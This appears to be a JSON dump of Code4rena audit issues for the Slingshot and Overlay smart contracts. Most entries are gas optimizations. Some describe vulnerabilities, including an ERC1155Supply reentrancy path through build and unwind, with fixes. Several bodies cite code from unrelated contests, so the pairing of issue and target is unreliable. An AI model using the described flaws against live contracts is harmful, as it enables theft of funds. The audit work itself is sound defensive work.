Optimization)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle defsec # Vulnerability details ## Impact From Pragma 0.8.0, ABI coder v2 is activated by default. The pragma abicoder v2 can be deleted from the repository. That will provide gas optimization. ## Proof of Concept 1. Navigate to the following code sections. https://github.com/code-423n4/2021-10-slingshot/blob/main/contracts/Adminable.sol#L3 https://github.com/code-423n4/2021-10-slingshot/blob/main/contracts/ApprovalHandler.sol#L3 https://github.com/code-423n4/2021-10-slingshot/blob/main/contracts/Executioner.sol#L3 https://github.com/code-423n4/2021-10-slingshot/blob/main/contracts/Slingshot.sol#L3 ## Tools Used None ## Recommended Mitigation Steps ABI coder v2 is activated by default. It is recommended to delete redundant codes. From Solidity v0.8.0 Breaking Changes https://docs.soliditylang.org/en/v0.8.0/080-breaking-changes.html "}, {"title": "Unnecessary and risky `payable` annotation in swap() functions", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/25", "labels": ["bug", "1 (Low Risk)"], "target": "2021-10-slingshot-findings", "body": "Unnecessary and risky `payable` annotation in swap() functions"}, {"title": "Flaws in Slingshot._sendFunds()", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/24", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Flaws in Slingshot._sendFunds()"}, {"title": "Unnecessary Use of _msgSender()", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "# Handle defsec # Vulnerability details ## Impact The use of _msgSender() when there is no implementation of a meta transaction mechanism that uses it, such as EIP-2771, very slightly increases gas consumption. ## Proof of Concept 1. Navigate to the following contracts. \"https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L135\" \"https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L111\" \"https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedReserve.sol#L32\" ## Tools Used Code review ## Recommended Mitigation Steps Replace _msgSender() with msg.sender if there is no mechanism to support meta-transactions like EIP-2771 implemented. "}, {"title": "getRouter methods could be set external instead public", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "getRouter methods could be set external instead public"}, {"title": "nonReentrant modifier isn't necessary for executeTrades function", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "nonReentrant modifier isn't necessary for executeTrades function"}, {"title": "A more efficient for loop index proceeding", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-slingshot-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Here you could use unchecked{++i} to save gas since it is more efficient then i++. ``` for (uint256 i; i < ids.length; i++) { ``` ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L359 ## Tools Used Remix ## Recommended Mitigation Steps "}, {"title": "The function _sendFunds could be set private to save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/7", "labels": ["bug", "question", "G (Gas Optimization)"], "target": "2021-10-slingshot-findings", "body": "The function _sendFunds could be set private to save gas"}, {"title": "The function _getTokenBalance could be set private to save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "The function _getTokenBalance could be set private to save gas"}, {"title": "_transferFromOrWrap could be set private to save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "_transferFromOrWrap could be set private to save gas"}, {"title": "Use of constant `keccak` variables results in extra hashing (and so gas).", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Increase gas costs on all `onlyAdmin` operations ## Proof of Concept The `SLINGSHOT_ADMIN_ROLE` variable is marked as `constant`: https://github.com/code-423n4/2021-10-slingshot/blob/f6e7a0a39e3267bbe3c7fe60d6074cbf54f5750f/contracts/Adminable.sol#L11 This results in the `keccak` operation being performed whenever the variable is used, increasing gas costs relative to just storing the output hash. Changing to `immutable` will only perform hashing on contract deployment which will save gas. See: https://github.com/ethereum/solidity/issues/9232#issuecomment-646131646 ## Recommended Mitigation Steps Change the variable to be `immutable` rather than `constant` "}, {"title": "Malicious governance can abuse approvals to ApprovalHandler", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/2", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Malicious governance can abuse approvals to ApprovalHandler"}, {"title": "ModuleRegistry doesn't need to know address of Slingshot.sol", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "ModuleRegistry doesn't need to know address of Slingshot.sol"}, {"title": "OverlayV1Governance.setEverything does unnecessary function calls", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "OverlayV1Governance.setEverything does unnecessary function calls"}, {"title": "OverlayV1OVLCollateral.liquidate storage pos.market variable is read up to three times, can be saved to memory", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/138", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on storage access. ## Proof of Concept ```pos.market``` variable is being read up to three times from storage: https://github.com/code-423n4/2021-11-overlay/blob/main/contracts/collateral/OverlayV1OVLCollateral.sol#L371 ## Recommended Mitigation Steps Save the needed storage variable to memory and use it. Now: ``` Position.Info storage pos = positions[_positionId]; ... ( uint _oi, uint _oiShares, uint _priceFrame ) = IOverlayV1Market(pos.market) .exitData( _isLong, pos.pricePoint ); MarketInfo memory _marketInfo = marketInfo[pos.market]; ... IOverlayV1Market(pos.market).exitOI(... ``` To be: ``` Position.Info storage pos = positions[_positionId]; address memory pos_market = pos.market; ... ( uint _oi, uint _oiShares, uint _priceFrame ) = IOverlayV1Market(pos_market) .exitData( _isLong, pos.pricePoint ); MarketInfo memory _marketInfo = marketInfo[pos_market]; ... IOverlayV1Market(pos_market).exitOI(... ``` "}, {"title": "OVL token shouldn't be available for substitution, needs to be set only once", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-overlay-findings", "body": "OVL token shouldn't be available for substitution, needs to be set only once"}, {"title": "Fee double counting for underwater positions", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/134", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle hyh # Vulnerability details ## Impact Actual available fees are less than recorded. That's because a part of them corresponds to underwater positions, and will not have the correct amount stored with the contract: when calculation happens the fee is recorded first, then there is a check for position health, and the funds are channeled to cover the debt firsthand. This way in a case of unfunded position the fee is recorded, but cannot be allocated, so the fees accounted can be greater than value of fees stored. This can lead to fee withdrawal malfunction, i.e. disburse() will burn more and attempt to transfer more than needed. This leads either to inability to withdraw fees when disburse be failing due to lack of funds, or funds leakage to fees and then inability to perform other withdrawals because of lack of funds. ## Proof of Concept The fees are accounted for before position health check and aren't corrected thereafter when there is a shortage of funds. https://github.com/code-423n4/2021-11-overlay/blob/main/contracts/collateral/OverlayV1OVLCollateral.sol#L311 ## Recommended Mitigation Steps Adjust fees after position health check: accrue fees only on a remaining part of position that is available after taking debt into account. Now: ``` uint _feeAmount = _userNotional.mulUp(mothership.fee()); uint _userValueAdjusted = _userNotional - _feeAmount; if (_userValueAdjusted > _userDebt) _userValueAdjusted -= _userDebt; else _userValueAdjusted = 0; ``` To be: ``` uint _feeAmount = _userNotional.mulUp(mothership.fee()); uint _userValueAdjusted = _userNotional - _feeAmount; if (_userValueAdjusted > _userDebt) { _userValueAdjusted -= _userDebt; } else { _userValueAdjusted = 0; _feeAmount = _userNotional > _userDebt ? _userNotional - _userDebt : 0; } ``` "}, {"title": "_rewardsTo not empty", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/133", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-overlay-findings", "body": "_rewardsTo not empty"}, {"title": "Cached version of ovl may be outdated", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract OverlayV1OVLCollateral and OverlayV1Governance cache ovl address: ```solidity IOverlayTokenNew immutable public ovl; ``` This variable is initialized in the constructor and fetched from the mothership contract: ```solidity mothership = IOverlayV1Mothership(_mothership); ovl = IOverlayV1Mothership(_mothership).ovl(); ``` ovl is declared as immutable and later contract interacts with this cached version. However, mothership contains a setter function, so the governor can point it to a new address: ```solidity function setOVL (address _ovl) external onlyGovernor { ovl = _ovl; } ``` OverlayV1OVLCollateral and OverlayV1Governance will still use this old cached value. ## Recommended Mitigation Steps Consider if this was intended, or you want to remove this cached version and always fetch on the go (this will increase the gas costs though). "}, {"title": "OZ ERC1155Supply vulnerability", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/127", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Overlay uses OZ contracts version 4.3.2: ```yaml dependencies: - OpenZeppelin/openzeppelin-contracts@4.3.2 ``` and has a contract that inherits from ERC1155Supply: ```solidity contract OverlayV1OVLCollateral is ERC1155Supply ``` This version has a recently discovered vulnerability: https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-wmpv-c2jp-j2xg In your case, function unwind relies on totalSupply when calculating _userNotional, _userDebt, _userCost, and _userOi, so a malicious actor can exploit this vulnerability by first calling 'build' and then on callback 'unwind' in the same transaction before the total supply is updated. ## Recommended Mitigation Steps Consider updating to a patched version of 4.3.3. "}, {"title": "Pack structs tightly", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Pack structs tightly"}, {"title": "Eliminate subtraction", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Eliminate subtraction"}, {"title": "Eliminate duplicate math operations", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Eliminate duplicate math operations"}, {"title": "Cache storage access", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-overlay-findings", "body": "Cache storage access"}, {"title": "Dead code", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Dead code"}, {"title": "Timelock and events for governor functions", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/120", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-overlay-findings", "body": "Timelock and events for governor functions"}, {"title": "Discrepancies between the interface and implementation", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/119", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Discrepancies between the interface and implementation"}, {"title": "Context and msg.sender", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/118", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Contract Transmuter inherits a functionality of the Context contract of OpenZeppelin: ```solidity contract Transmuter is Context ``` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol Context is designed to be used with Ethereum Gas Station Network (GSN), thus it encourages to use _msgSender() instead of msg.sender. ## Recommended Mitigation Steps Consider replacing msg.sender with _msgSender() or getting rid of Context inheritance to save some gas if you don't actually need it. "}, {"title": "Open TODOs in Codebase", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/116", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "Open TODOs in Codebase"}, {"title": "`> 0` can be replaced with `!= 0` for gas optimization", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-overlay-findings", "body": "`> 0` can be replaced with `!= 0` for gas optimization"}, {"title": "Use of constant keccak variables results in extra hashing (and so gas).", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Use of constant keccak variables results in extra hashing (and so gas)."}, {"title": "At `OverlayV1Comptroller.sol`, `_roller.time` shouldn't be cached", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/105", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "At `OverlayV1Comptroller.sol`, `_roller.time` shouldn't be cached"}, {"title": "State variables can be `immutable`s", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-overlay-findings", "body": "State variables can be `immutable`s"}, {"title": " approve function is vulnerable", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-overlay-findings", "body": " approve function is vulnerable"}, {"title": " require should come first", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": " require should come first"}, {"title": "Unnecessary castings in `OverlayV1UniswapV3Market.fetchPricePoint()`", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Unnecessary castings in `OverlayV1UniswapV3Market.fetchPricePoint()`"}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "`OverlayV1Market.sol#lock()` Switching between 1, 2 instead of 0, 1 is more gas efficient", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "`OverlayV1Market.sol#lock()` Switching between 1, 2 instead of 0, 1 is more gas efficient"}, {"title": "Change unnecessary storage variables to constants can save gas", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-overlay/blob/1833b792caf3eb8756b1ba5f50f9c2ce085e54d0/contracts/OverlayV1UniswapV3Market.sol#L14-L14 ```solidity=14 uint256 internal X96 = 0x1000000000000000000000000; ``` Some storage variables include `X96` will not never be changed and they should not be. Changing them to `constant` can save gas. "}, {"title": "Missing setter function for `OverlayV1Mothership#marginBurnRate`", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/84", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle WatchPug # Vulnerability details Based on the context, `marginBurnRate` should be able to be updated after deployment. However, there is no function to update it. ### Recommendation Change to: https://github.com/code-423n4/2021-11-overlay/blob/1833b792caf3eb8756b1ba5f50f9c2ce085e54d0/contracts/mothership/OverlayV1Mothership.sol#L158-L166 ```solidity=158 function adjustGlobalParams( uint16 _fee, uint16 _feeBurnRate, address _feeTo, uint _marginBurnRate ) external onlyGovernor { fee = _fee; feeBurnRate = _feeBurnRate; feeTo = _feeTo; marginBurnRate = _marginBurnRate; } ``` Or change `marginBurnRate` to immutable if it's not supposed to be updated later (for gas saving). "}, {"title": "`OverlayV1UniswapV3Market` computes wrong market liquidity", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/83", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle cmichel # Vulnerability details The `OverlayV1UniswapV3Market.fetchPricePoint` tries to compute the market depth in OVL terms as `marketLiquidity (in ETH) / ovlPrice (in ETH per OVL)`. To get the market liquidity _in ETH_ (and not the other token pair), it uses the `ethIs0` boolean. ```solidity _marketLiquidity = ethIs0 ? ( uint256(_liquidity) << 96 ) / _sqrtPrice : FullMath.mulDiv(uint256(_liquidity), _sqrtPrice, X96); ``` However, `ethIs0` boolean refers to the `ovlFeed`, whereas the `_liquidity` refers to the `marketFeed`, and therefore the `ethIs0` boolean has nothing to do with the _market_ feed where the liquidity is taken from: ```solidity // in constructor, if token0 is eth refers to ovlFeed ethIs0 = IUniswapV3Pool(_ovlFeed).token0() == _eth; // in fetchPricePoint, _liquidity comes from different market feed ( _ticks, _liqs ) = IUniswapV3Pool(marketFeed).observe(_secondsAgo); _marketLiquidity = ethIs0 ? ( uint256(_liquidity) << 96 ) / _sqrtPrice : FullMath.mulDiv(uint256(_liquidity), _sqrtPrice, X96); ``` ## Impact If the `ovlFeed` and `marketFeed` do not have the same token position for the ETH pair (ETH is either token 0 or token 1 for **both** pairs), then the market liquidity & depth is computed wrong (inverted). For example, the `OverlayV1Market.depth()` function will return a wrong depth which is used in the market cap computation. ## Recommended Mitigation Steps It seems that `marketFeed.token0() == WETH` should be used in `fetchPricePoint` to compute the liquidity instead of `ovlFeed.token0() == WETH`. "}, {"title": "Missing `macroWindow > microWindow` check", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/80", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle cmichel # Vulnerability details The `OverlayV1UniswapV3Market.constructor` does not verify that the `marcoWindow > microWindow` but the code implicitly uses this assumption when computing the TWAPs. ## Recommended Mitigation Steps Validate that `macroWindow > microWindow` in the constructor. "}, {"title": "`OverlayV1UniswapV3Market` assumes one of the tokens is ETH", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/79", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle cmichel # Vulnerability details The `OverlayV1UniswapV3Market` contract assumes that one of the tokens of `_ovlFeed` is ETH but does not check it in the constructor: ```solidity constructor( address _mothership, address _ovlFeed, address _marketFeed, address _quote, address _eth, uint128 _baseAmount, uint256 _macroWindow, uint256 _microWindow, uint256 _priceFrameCap ) OverlayV1Market ( _mothership ) OverlayV1Comptroller ( _microWindow ) OverlayV1OI ( _microWindow ) OverlayV1PricePoint ( _priceFrameCap ) { // immutables eth = _eth; // could be that token1 is not ETH either ethIs0 = IUniswapV3Pool(_ovlFeed).token0() == _eth; // ... } ``` ## Impact If `token0` is _not_ ETH, then it assumes `token1` is ETH but never validates this assumption. This could lead to wrong market liquidity and prices calculations if an `_ovlFeed` is supplied that is not actually the OVL/ETH feed. ## Recommended Mitigation Steps Check that `(token0 == OVL && token1 == WETH) || (token1 == OVL && token0 == WETH)` for `_ovlFeed`. "}, {"title": "Use _userOiShares everywhere in unwind()", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function unwind() of OverlayV1OVLCollateral.sol a tmp variable _userOiShares is used the store the value of _shares. However _shares is still uses multiple times in the function. Using _userOiShares everywhere would save gas. ## Proof of Concept https://github.com/code-423n4/2021-11-overlay/blob/914bed22f190ebe7088194453bab08c424c3f70c/contracts/collateral/OverlayV1OVLCollateral.sol#L273-L336 ```JS function unwind ( uint256 _positionId, uint256 _shares ) external { require( 0 < _shares && _shares <= balanceOf(msg.sender, _positionId), \"OVLV1:!shares\"); // uses _shares ... uint _userOiShares = _shares; // move to start of the function uint _userNotional = _shares * pos.notional(_oi, _oiShares, _priceFrame) / _totalPosShares; // uses _shares uint _userDebt = _shares * pos.debt / _totalPosShares; // uses _shares uint _userCost = _shares * pos.cost / _totalPosShares; // uses _shares uint _userOi = _shares * pos.oi(_oi, _oiShares) / _totalPosShares; // uses _shares ... _burn(msg.sender, _positionId, _shares); // uses _shares ``` ## Tools Used ## Recommended Mitigation Steps Move \"uint _userOiShares = _shares;\" to the start of function unwind() Replace all other instances of \"_shares\" with \"_userOiShares\" "}, {"title": "Improper Upper Bound Definition on the Fee", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/77", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/token/TokenManager.sol#L51 https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/token/TokenManager.sol#L52 # Vulnerability details ## Impact The **equilibriumFee** and **maxFee** does not have any upper or lower bounds. Values that are too large will lead to reversions in several critical functions or the LP user will lost all funds when paying the fee. ## Proof of Concept 1. Navigate to the following contract. https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/token/TokenManager.sol#L52 2. Owner can identify fee amount. That directly affect to LP management. (https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityPool.sol#L352) 3. Here you can see there is no upper bound has been defined. ``` function changeFee( address tokenAddress, uint256 _equilibriumFee, uint256 _maxFee ) external override onlyOwner whenNotPaused { require(_equilibriumFee != 0, \"Equilibrium Fee cannot be 0\"); require(_maxFee != 0, \"Max Fee cannot be 0\"); tokensInfo[tokenAddress].equilibriumFee = _equilibriumFee; tokensInfo[tokenAddress].maxFee = _maxFee; emit FeeChanged(tokenAddress, tokensInfo[tokenAddress].equilibriumFee, tokensInfo[tokenAddress].maxFee); } ``` ## Tools Used Code Review ## Recommended Mitigation Steps Consider defining upper and lower bounds on the **equilibriumFee** and **maxFee**. "}, {"title": "Check for liquidation in value() ", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/76", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function value() of OverlayV1OVLCollateral.sol doesn't explicitly check for liquidated positions. However because oiShares and debt are set to 0 during liquidation the resulting value will still be 0. It seems more logical to check for liquidation in the beginning of the function and immediately return 0. This saves gas for the situation where the function value() is called from another smart contract. ## Proof of Concept https://github.com/code-423n4/2021-11-overlay/blob/914bed22f190ebe7088194453bab08c424c3f70c/contracts/collateral/OverlayV1OVLCollateral.sol#L424-L448 ``` function value ( uint _positionId ) public view returns ( uint256 value_) { Position.Info storage pos = positions[_positionId]; IOverlayV1Market _market = IOverlayV1Market(pos.market); ( uint _oi, uint _oiShares, uint _priceFrame ) = _market.positionInfo( pos.isLong, pos.pricePoint ); value_ = pos.value( _oi, _oiShares, _priceFrame ); } ``` ## Tools Used ## Recommended Mitigation Steps Add something like the following to function value(): ```JS if (pos.oiShares == 0) return 0; // liquidated ``` "}, {"title": "Avoiding external calls can save gas", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle WatchPug # Vulnerability details Every call to an external contract costs a decent amount of gas. In `OverlayV1OVLCollateral.sol`, `mothership.fee()` can be cached as a storage variable and save ~21000 gas each time. https://github.com/code-423n4/2021-11-overlay/blob/1833b792caf3eb8756b1ba5f50f9c2ce085e54d0/contracts/collateral/OverlayV1OVLCollateral.sol#L305-L305 ```solidity=305 uint _feeAmount = _userNotional.mulUp(mothership.fee()); ``` ## Recommendation - Add a storage variable in `OverlayV1OVLCollateral.sol`; - Add a function `updateFee()` - Call `updateFee()` after `OverlayV1Mothership.sol#adjustGlobalParams()` "}, {"title": "`OverlayToken.sol` Insufficient input validation", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-overlay-findings", "body": "`OverlayToken.sol` Insufficient input validation"}, {"title": "No user friendly error message when _leverage==0", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/71", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose you try to build a position and have set the _leverage accidentally to 0 (which can be done if you call the smart contract directly). Then the function build() will call enterOI() which will revert when trying to calculate debtAdjusted_ . However no user friendly error message is given. ## Proof of Concept https://github.com/code-423n4/2021-11-overlay/blob/914bed22f190ebe7088194453bab08c424c3f70c/contracts/market/OverlayV1Market.sol ```JS function enterOI ( bool _isLong, uint _collateral, uint _leverage ) external onlyCollateral returns (...) { ... collateralAdjusted_ = _collateral - _impact - fee_; // will be > 0 oiAdjusted_ = collateralAdjusted_ * _leverage; // if _leverage==0 then oiAdjusted_ == 0 debtAdjusted_ = oiAdjusted_ - collateralAdjusted_; // will be negative and thus will revert ``` ## Tools Used ## Recommended Mitigation Steps Add something like the following to the function build() require(_leverage != 0, \"OVLV1:leverage==0\") "}, {"title": "Use _brrrrdExpected everywhere in oiCap() ", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function oiCap() of OverlayV1Comptroller.sol save the value of brrrrdExpected in a tmp variable _brrrrdExpected. Lateron brrrrdExpected is still used while _brrrrdExpected could also be used. This saves a bit of gas. ## Proof of Concept https://github.com/code-423n4/2021-11-overlay/blob/914bed22f190ebe7088194453bab08c424c3f70c/contracts/market/OverlayV1Comptroller.sol#L255-L279 ```JS function oiCap() public virtual view returns ( uint cap_ ) { ... uint _brrrrdExpected = brrrrdExpected; ... cap_ = _surpassed ? 0 : _burnt || _expected ? _oiCap(false, depth(), staticCap, 0, 0) : _oiCap(true, depth(), staticCap, _brrrrd, brrrrdExpected); // can also use _brrrrdExpected ``` ## Tools Used ## Recommended Mitigation Steps Replace ```JS : _oiCap(true, depth(), staticCap, _brrrrd, brrrrdExpected); ``` with ```JS : _oiCap(true, depth(), staticCap, _brrrrd, _brrrrdExpected); ``` "}, {"title": "Simplify function roll()", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function roll() of OverlayV1Comptroller.sol can be simplified. This saves some gas and also makes the function easier to read. See below at \"Recommended Mitigation Steps\" ## Proof of Concept https://github.com/code-423n4/2021-11-overlay/blob/914bed22f190ebe7088194453bab08c424c3f70c/contracts/market/OverlayV1Comptroller.sol#L352-L385 ```JS function roll( Roller[60] storage rollers, Roller memory _roller, uint _lastMoment, uint _cycloid ) internal returns ( uint cycloid_) { if (_roller.time != _lastMoment) { _cycloid += 1; if (_cycloid < CHORD) { rollers[_cycloid] = _roller; } else { _cycloid = 0; rollers[_cycloid] = _roller; } } else { rollers[_cycloid] = _roller; } cycloid_ = _cycloid; } ``` ## Tools Used ## Recommended Mitigation Steps Change the function to: ```JS function roll (Roller[60] storage rollers,Roller memory _roller,uint _lastMoment,uint _cycloid) internal returns (uint cycloid_) { if (_roller.time != _lastMoment) _cycloid = (_cycloid + 1) % CHORD; rollers[_cycloid] = _roller; cycloid_ = _cycloid; } ``` "}, {"title": "`OverlayToken.sol` Check of allowance can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2021-11-overlay-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-overlay-findings", "body": "# Handle WatchPug # Vulnerability details Check of allowance can be done earlier to save some gas for failure transactions. https://github.com/code-423n4/2021-11-overlay/blob/1833b792caf3eb8756b1ba5f50f9c2ce085e54d0/contracts/ovl/OverlayToken.sol#L118-L137 ```solidity=119 function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns ( bool success_ ) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); 